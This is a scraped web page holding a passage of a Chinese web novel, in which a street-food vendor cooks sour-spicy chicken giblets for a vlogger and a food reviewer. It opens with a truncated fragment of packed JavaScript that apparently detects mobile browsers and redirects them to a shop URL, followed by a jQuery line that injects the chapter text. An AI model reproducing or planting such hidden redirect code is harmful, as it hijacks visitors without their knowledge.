l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16057764|178049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涩，这些酸辣椒就适合配菜炒，纯吃不太行。 可这个不一样。 这辣椒里面的汤汁咸淡适中，酸辣中带一点回甘的甜，梨梨小雨觉得把它处理一下，直接用来配备小米粥喝，简直一绝。 梵挽在口罩下只是笑了笑。 这会儿，梵挽已经开始处理酸萝卜。 都备好后，直接就是把鸡杂放盐、白醋抓均匀后，直接用他带来的桶矿泉水冲干净，再放入一点点的白酒和白醋。 然后是起锅烧水，备好的鸡杂在热水中烫一会儿，稍微变色就可以捞出，这样有利于鸡杂的口感有稍许嚼劲。 当然也有口软的做法，只是梵挽这儿来的大多是年轻人，能吃辣的更不用说。年轻人口感都偏向脆嫩，所以软口的口感被梵挽放弃。 之后就是热锅烧油，依次放入酸辣椒、酸萝卜丁，生姜、大蒜等小料，稍许翻炒后，再放入专门逛了好几个超市买选出来的酱料，快速翻炒一分钟。 这时候，那种酸辣的香味已经被激发了出来。 热浪中，再放入准备好的鸡杂，翻炒中，再放入盐、生抽等调料，最后继续翻炒出锅。 “来，好了。” 梨梨小雨马上接过，“谢谢老板。” 钱她早就支付了，这会儿走到一边，又录制了一会儿梵挽做饭的视频。 “老板，你不担心这样拍，手艺会被别人学走？” 梵挽这儿确实被岳华最开始带了一波流量，但不知道怎么，梵挽这儿本身竟然也带了不少流量。 有的人大概天生有观众缘，说不好的。 岳华也是看上了这一点，所以打算专门弄一期有关梵挽的专题，这才有梨梨小雨现在的录像。 不过梨梨小雨也打算侧面问问梵挽的看法，这都是手艺。要是真剪辑出去了，他觉得手艺被别人复刻走了，也是麻烦，所以先问问本人的意见。 梵挽一边翻炒一边摇头，“没事，十个人做同一道菜，哪怕食材、步骤都一样，味道还是会有细微的差别，食物就是这么神奇。” 梨梨小雨笑了声，“老板，你这样说话，怎么感觉你像是拿食物在修行一样。” “差不多吧。”梵挽半真半假开口。 梨梨小雨又说了点什么，然后就看到岳华喘着气跑了过来。 “呦呵！好多人，小雨，买到了吗？” 梵挽看了一眼岳华满头大汗的样子。 岳华和梵挽打招呼，“老板，几天不见，你出了好多新品啊。你是不知道，我这儿要来蹲你的回锅肉盖饭，我都时常蹲不上。” 谁能想到呢，原来不少人是岳华直播间的常客和粉丝，现在成了他的‘竞争对手’了。 梨梨小雨也是大中午就来了，就一直蹲在旁边等梵挽，手机都好几次没电，然后在便利店借的充电宝。 岳华要回去测评，和梵挽打了招呼后，这才笑道：“那我走了，饭碗老板下次多做点啊。” 好多食客走之前都这样说。 这快成惯例了。